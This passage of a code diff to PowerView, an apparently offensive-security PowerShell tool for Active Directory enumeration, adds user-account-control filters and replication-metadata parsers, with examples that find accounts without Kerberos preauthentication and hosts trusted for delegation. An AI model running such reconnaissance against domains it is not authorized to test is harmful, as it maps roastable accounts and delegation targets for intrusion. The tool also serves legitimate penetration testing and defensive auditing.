+samAccountName, property name, and property value are output to the pipeline.
.PARAMETER ClassName
@@ -4246,13 +4656,13 @@ for connection to the target domain.
.EXAMPLE
-Find-DomainObjectPropertyOutlier -User
+Find-DomainObjectPropertyOutlier -ClassName 'User'
Enumerates users in the current domain with 'outlier' properties filled in.
.EXAMPLE
-Find-DomainObjectPropertyOutlier -Group -Domain external.local
+Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local
Enumerates groups in the external.local forest/domain with 'outlier' properties filled in.
@@ -4372,7 +4782,7 @@ Custom PSObject with translated object property outliers.
Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set"
$ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name
$ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1
- Write-Verbose "[Find-DomainObjectPropertyOutlier] Caldulated ReferenceObjectClass : $ReferenceObjectClass"
+ Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass"
}
else {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'"
@@ -4380,34 +4790,30 @@ Custom PSObject with translated object property outliers.
if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) {
$Objects = Get-DomainUser @SearcherArguments
- $SchemaClass = Get-ForestSchemaClass @SchemaArguments -ClassName 'User'
- $ReferenceObjectProperties = $UserReferencePropertySet
+ if (-not $ReferenceObjectProperties) {
+ $ReferenceObjectProperties = $UserReferencePropertySet
+ }
}
elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) {
$Objects = Get-DomainGroup @SearcherArguments
- $SchemaClass = Get-ForestSchemaClass @SchemaArguments -ClassName 'Group'
- $ReferenceObjectProperties = $GroupReferencePropertySet
+ if (-not $ReferenceObjectProperties) {
+ $ReferenceObjectProperties = $GroupReferencePropertySet
+ }
}
elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) {
- Write-Verbose "COMPUTER!"
$Objects = Get-DomainComputer @SearcherArguments
- $SchemaClass = Get-ForestSchemaClass @SchemaArguments -ClassName 'Computer'
- $ReferenceObjectProperties = $ComputerReferencePropertySet
+ if (-not $ReferenceObjectProperties) {
+ $ReferenceObjectProperties = $ComputerReferencePropertySet
+ }
}
else {
throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName"
}
- $SchemaProperties = $SchemaClass | Select-Object -ExpandProperty OptionalProperties | Select-Object -ExpandProperty name
- $SchemaProperties += $SchemaClass | Select-Object -ExpandProperty MandatoryProperties | Select-Object -ExpandProperty name
-
- # find the schema properties that are NOT in the first returned reference property set
- $NonstandardProperties = Compare-Object -ReferenceObject $ReferenceObjectProperties -DifferenceObject $SchemaProperties -PassThru
-
ForEach ($Object in $Objects) {
$ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name
ForEach($ObjectProperty in $ObjectProperties) {
- if ($NonstandardProperties -Contains $ObjectProperty) {
+ if ($ReferenceObjectProperties -NotContains $ObjectProperty) {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName
$Out | Add-Member Noteproperty 'Property' $ObjectProperty
@@ -4455,6 +4861,11 @@ Wildcards accepted. Also accepts DOMAIN\user format.
Switch. Only return user objects with non-null service principal names.
+.PARAMETER UACFilter
+
+Dynamic parameter that accepts one or more values from $UACEnum, including
+"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
+
.PARAMETER AdminCount
Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
@@ -4567,6 +4978,12 @@ Search for users with a primary group ID other than 513 ('domain users') and onl
.EXAMPLE
+Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED
+
+Find users who doesn't require Kerberos preauthentication and DON'T have an expired password.
+
+.EXAMPLE
+
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
@@ -4686,6 +5103,14 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
$Raw
)
+ DynamicParam {
+ $UACValueNames = [Enum]::GetNames($UACEnum)
+ # add in the negations
+ $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
+ # create new dynamic parameter
+ New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
+ }
+
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
@@ -4702,6 +5127,11 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
}
PROCESS {
+ #bind dynamic parameter to a friendly variable
+ if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
+ New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
+ }
+
if ($UserSearcher) {
$IdentityFilter = ''
$Filter = ''
@@ -4712,6 +5142,17 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
+ # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
+ # and rebuild the domain searcher
+ $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
+ $SearcherArguments['Domain'] = $IdentityDomain
+ $UserSearcher = Get-DomainSearcher @SearcherArguments
+ if (-not $UserSearcher) {
+ Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'"
+ }
+ }
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
@@ -4767,6 +5208,19 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
$Filter += "$LDAPFilter"
}
+ # build the LDAP filter for the dynamic UAC filter value
+ $UACFilter | Where-Object {$_} | ForEach-Object {
+ if ($_ -match 'NOT_.*') {
+ $UACField = $_.Substring(4)
+ $UACValue = [Int]($UACEnum::$UACField)
+ $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
+ }
+ else {
+ $UACValue = [Int]($UACEnum::$_)
+ $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
+ }
+ }
+
$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"
@@ -5509,6 +5963,11 @@ A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Comp
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
+.PARAMETER UACFilter
+
+Dynamic parameter that accepts one or more values from $UACEnum, including
+"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
+
.PARAMETER Unconstrained
Switch. Return computer objects that have unconstrained delegation.
@@ -5610,6 +6069,12 @@ Returns all MS SQL servers in the testlab.local domain.
.EXAMPLE
+Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname
+
+Return the dns hostnames of servers trusted for delegation.
+
+.EXAMPLE
+
Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained
Search the specified OU for computeres that allow unconstrained delegation.
@@ -5723,6 +6188,14 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
$Raw
)
+ DynamicParam {
+ $UACValueNames = [Enum]::GetNames($UACEnum)
+ # add in the negations
+ $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
+ # create new dynamic parameter
+ New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
+ }
+
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
@@ -5739,8 +6212,12 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
}
PROCESS {
- if ($CompSearcher) {
+ #bind dynamic parameter to a friendly variable
+ if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
+ New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
+ }
+ if ($CompSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
@@ -5750,6 +6227,17 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
+ # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
+ # and rebuild the domain searcher
+ $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
+ $SearcherArguments['Domain'] = $IdentityDomain
+ $CompSearcher = Get-DomainSearcher @SearcherArguments
+ if (-not $CompSearcher) {
+ Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'"
+ }
+ }
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
@@ -5798,6 +6286,18 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
+ # build the LDAP filter for the dynamic UAC filter value
+ $UACFilter | Where-Object {$_} | ForEach-Object {
+ if ($_ -match 'NOT_.*') {
+ $UACField = $_.Substring(4)
+ $UACValue = [Int]($UACEnum::$UACField)
+ $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
+ }
+ else {
+ $UACValue = [Int]($UACEnum::$_)
+ $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
+ }
+ }
$CompSearcher.filter = "(&(samAccountType=805306369)$Filter)"
Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)"
@@ -5858,6 +6358,11 @@ A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
+.PARAMETER UACFilter
+
+Dynamic parameter that accepts one or more values from $UACEnum, including
+"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
+
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
@@ -6030,6 +6535,14 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
$Raw
)
+ DynamicParam {
+ $UACValueNames = [Enum]::GetNames($UACEnum)
+ # add in the negations
+ $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
+ # create new dynamic parameter
+ New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
+ }
+
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
@@ -6046,6 +6559,10 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
}
PROCESS {
+ #bind dynamic parameter to a friendly variable
+ if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
+ New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
+ }
if ($ObjectSearcher) {
$IdentityFilter = ''
$Filter = ''
@@ -6056,6 +6573,17 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
+ # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
+ # and rebuild the domain searcher
+ $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
+ $SearcherArguments['Domain'] = $IdentityDomain
+ $ObjectSearcher = Get-DomainSearcher @SearcherArguments
+ if (-not $ObjectSearcher) {
+ Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"
+ }
+ }
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
@@ -6088,6 +6616,19 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
$Filter += "$LDAPFilter"
}
+ # build the LDAP filter for the dynamic UAC filter value
+ $UACFilter | Where-Object {$_} | ForEach-Object {
+ if ($_ -match 'NOT_.*') {
+ $UACField = $_.Substring(4)
+ $UACValue = [Int]($UACEnum::$UACField)
+ $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
+ }
+ else {
+ $UACValue = [Int]($UACEnum::$_)
+ $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
+ }
+ }
+
if ($Filter -and $Filter -ne '') {
$ObjectSearcher.filter = "(&$Filter)"
}
@@ -6119,6 +6660,485 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
}
+function Get-DomainObjectAttributeHistory {
+<#
+.SYNOPSIS
+
+Returns the Active Directory attribute replication metadata for the specified
+object, i.e. a parsed version of the msds-replattributemetadata attribute.
+By default, replication data for every domain object is returned.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainObject
+
+.DESCRIPTION
+
+Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'.
+This is the domain attribute replication metadata associated with the object. The results are
+parsed from their XML string form and returned as a custom object.
+
+.PARAMETER Identity
+
+A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
+Wildcards accepted.
+
+.PARAMETER Domain
+
+Specifies the domain to use for the query, defaults to the current domain.
+
+.PARAMETER LDAPFilter
+
+Specifies an LDAP query string that is used to filter Active Directory objects.
+
+.PARAMETER Properties
+
+Only return replication metadata on the specified property names.
+
+.PARAMETER SearchBase
+
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
+
+.PARAMETER Server
+
+Specifies an Active Directory server (domain controller) to bind to.
+
+.PARAMETER SearchScope
+
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
+
+.PARAMETER ResultPageSize
+
+Specifies the PageSize to set for the LDAP searcher object.
+
+.PARAMETER ServerTimeLimit
+
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
+
+.PARAMETER Tombstone
+
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
+
+.EXAMPLE
+
+Get-DomainObjectAttributeHistory -Domain testlab.local
+
+Return all attribute replication metadata for all objects in the testlab.local domain.
+
+.EXAMPLE
+
+'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft
+
+ObjectDN ObjectGuid AttributeNam LastOriginat Version LastOriginat
+ e ingChange ingDsaDN
+-------- ---------- ------------ ------------ ------- ------------
+CN=dfm.a,C... a6263874-f... objectClass 2017-03-0... 1 CN=NTDS S...
+CN=DA,CN=U... 77b56df4-f... objectClass 2017-04-1... 1 CN=NTDS S...
+CN=harmj0y... 94299db1-e... objectClass 2017-03-0... 1 CN=NTDS S...
+
+.EXAMPLE
+
+Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl
+
+ObjectDN : CN=harmj0y,CN=Users,DC=testlab,DC=local
+ObjectGuid : 94299db1-e3e7-48f9-845b-3bffef8bedbb
+AttributeName : userAccountControl
+LastOriginatingChange : 2017-03-07T19:56:27Z
+Version : 4
+LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
+ -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
+ l
+
+.OUTPUTS
+
+PowerView.ADObjectAttributeHistory
+
+Custom PSObject with translated replication metadata fields.
+
+.LINK
+
+https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to-track-security-descriptor-modifications/
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
+ [OutputType('PowerView.ADObjectAttributeHistory')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
+ [String[]]
+ $Identity,
+
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Domain,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
+ [String]
+ $LDAPFilter,
+
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Properties,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
+ [String]
+ $SearchBase,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
+
+ [Switch]
+ $Tombstone,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
+
+ [Switch]
+ $Raw
+ )
+
+ BEGIN {
+ $SearcherArguments = @{
+ 'Properties' = 'msds-replattributemetadata','distinguishedname'
+ 'Raw' = $True
+ }
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+
+ if ($PSBoundParameters['Properties']) {
+ $PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
+ }
+ else {
+ $PropertyFilter = ''
+ }
+ }
+
+ PROCESS {
+ if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
+
+ Get-DomainObject @SearcherArguments | ForEach-Object {
+ $ObjectDN = $_.Properties['distinguishedname'][0]
+ ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) {
+ $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_ATTR_META_DATA' -ErrorAction SilentlyContinue
+ if ($TempObject) {
+ if ($TempObject.pszAttributeName -Match $PropertyFilter) {
+ $Output = New-Object PSObject
+ $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
+ $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName
+ $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
+ $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
+ $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
+ $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectAttributeHistory')
+ $Output
+ }
+ }
+ else {
+ Write-Verbose "[Get-DomainObjectAttributeHistory] Error retrieving 'msds-replattributemetadata' for '$ObjectDN'"
+ }
+ }
+ }
+ }
+}
+
+
+function Get-DomainObjectLinkedAttributeHistory {
+<#
+.SYNOPSIS
+
+Returns the Active Directory links attribute value replication metadata for the
+specified object, i.e. a parsed version of the msds-replvaluemetadata attribute.
+By default, replication data for every domain object is returned.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainObject
+
+.DESCRIPTION
+
+Wraps Get-DomainObject with a specification to retrieve the property 'msds-replvaluemetadata'.
+This is the domain linked attribute value replication metadata associated with the object. The
+results are parsed from their XML string form and returned as a custom object.
+
+.PARAMETER Identity
+
+A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
+Wildcards accepted.
+
+.PARAMETER Domain
+
+Specifies the domain to use for the query, defaults to the current domain.
+
+.PARAMETER LDAPFilter
+
+Specifies an LDAP query string that is used to filter Active Directory objects.
+
+.PARAMETER Properties
+
+Only return replication metadata on the specified property names.
+
+.PARAMETER SearchBase
+
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
+
+.PARAMETER Server
+
+Specifies an Active Directory server (domain controller) to bind to.
+
+.PARAMETER SearchScope
+
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
+
+.PARAMETER ResultPageSize
+
+Specifies the PageSize to set for the LDAP searcher object.
+
+.PARAMETER ServerTimeLimit
+
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
+
+.PARAMETER Tombstone
+
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
+
+.EXAMPLE
+
+Get-DomainObjectLinkedAttributeHistory | Group-Object ObjectDN | ft -a
+
+Count Name
+----- ----
+ 4 CN=Administrators,CN=Builtin,DC=testlab,DC=local
+ 4 CN=Users,CN=Builtin,DC=testlab,DC=local
+ 2 CN=Guests,CN=Builtin,DC=testlab,DC=local
+ 1 CN=IIS_IUSRS,CN=Builtin,DC=testlab,DC=local
+ 1 CN=Schema Admins,CN=Users,DC=testlab,DC=local
+ 1 CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
+ 4 CN=Domain Admins,CN=Users,DC=testlab,DC=local
+ 1 CN=Group Policy Creator Owners,CN=Users,DC=testlab,DC=local
+ 1 CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=testlab,DC=local
+ 1 CN=Windows Authorization Access Group,CN=Builtin,DC=testlab,DC=local
+ 8 CN=Denied RODC Password Replication Group,CN=Users,DC=testlab,DC=local
+ 2 CN=PRIMARY,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,...
+ 1 CN=Domain System Volume,CN=DFSR-LocalSettings,CN=PRIMARY,OU=Domain Con...
+ 1 CN=ServerAdmins,CN=Users,DC=testlab,DC=local
+ 3 CN=DomainLocalGroup,CN=Users,DC=testlab,DC=local
+
+
+.EXAMPLE
+
+'S-1-5-21-883232822-274137685-4173207997-519','af94f49e-61a5-4f7d-a17c-d80fb16a5220' | Get-DomainObjectLinkedAttributeHistory
+
+ObjectDN : CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
+ObjectGuid : 94e782c1-16a1-400b-a7d0-1126038c6387
+AttributeName : member
+AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local
+TimeDeleted : 2017-03-06T00:48:29Z
+TimeCreated : 2017-03-06T00:48:29Z
+LastOriginatingChange : 2017-03-06T00:48:29Z
+Version : 1
+LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
+ -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
+ l
+
+ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
+ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220
+AttributeName : member
+AttributeValue : CN=dfm,CN=Users,DC=testlab,DC=local
+TimeDeleted : 2017-06-13T22:20:02Z
+TimeCreated : 2017-06-13T22:20:02Z
+LastOriginatingChange : 2017-06-13T22:20:22Z
+Version : 2
+LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
+ -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
+ l
+
+ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
+ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220
+AttributeName : member
+AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local
+TimeDeleted : 2017-03-06T00:48:29Z
+TimeCreated : 2017-03-06T00:48:29Z
+LastOriginatingChange : 2017-03-06T00:48:29Z
+Version : 1
+LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
+ -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
+ l
+
+.EXAMPLE
+
+Get-DomainObjectLinkedAttributeHistory ServerAdmins -Domain testlab.local
+
+ObjectDN : CN=ServerAdmins,CN=Users,DC=testlab,DC=local
+ObjectGuid : 603b46ad-555c-49b3-8745-c0718febefc2
+AttributeName : member
+AttributeValue : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local
+TimeDeleted : 2017-04-10T22:17:19Z
+TimeCreated : 2017-04-10T22:17:19Z
+LastOriginatingChange : 2017-04-10T22:17:19Z
+Version : 1
+LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
+ -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
+ l
+
+.OUTPUTS
+
+PowerView.ADObjectLinkedAttributeHistory
+
+Custom PSObject with translated replication metadata fields.
+
+.LINK
+
+https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
+ [OutputType('PowerView.ADObjectLinkedAttributeHistory')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
+ [String[]]
+ $Identity,
+
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Domain,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
+ [String]
+ $LDAPFilter,
+
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Properties,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
+ [String]
+ $SearchBase,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
+
+ [Switch]
+ $Tombstone,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
+
+ [Switch]
+ $Raw
+ )
+
+ BEGIN {
+ $SearcherArguments = @{
+ 'Properties' = 'msds-replvaluemetadata','distinguishedname'
+ 'Raw' = $True
+ }
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+
+ if ($PSBoundParameters['Properties']) {
+ $PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
+ }
+ else {
+ $PropertyFilter = ''
+ }
+ }
+
+ PROCESS {
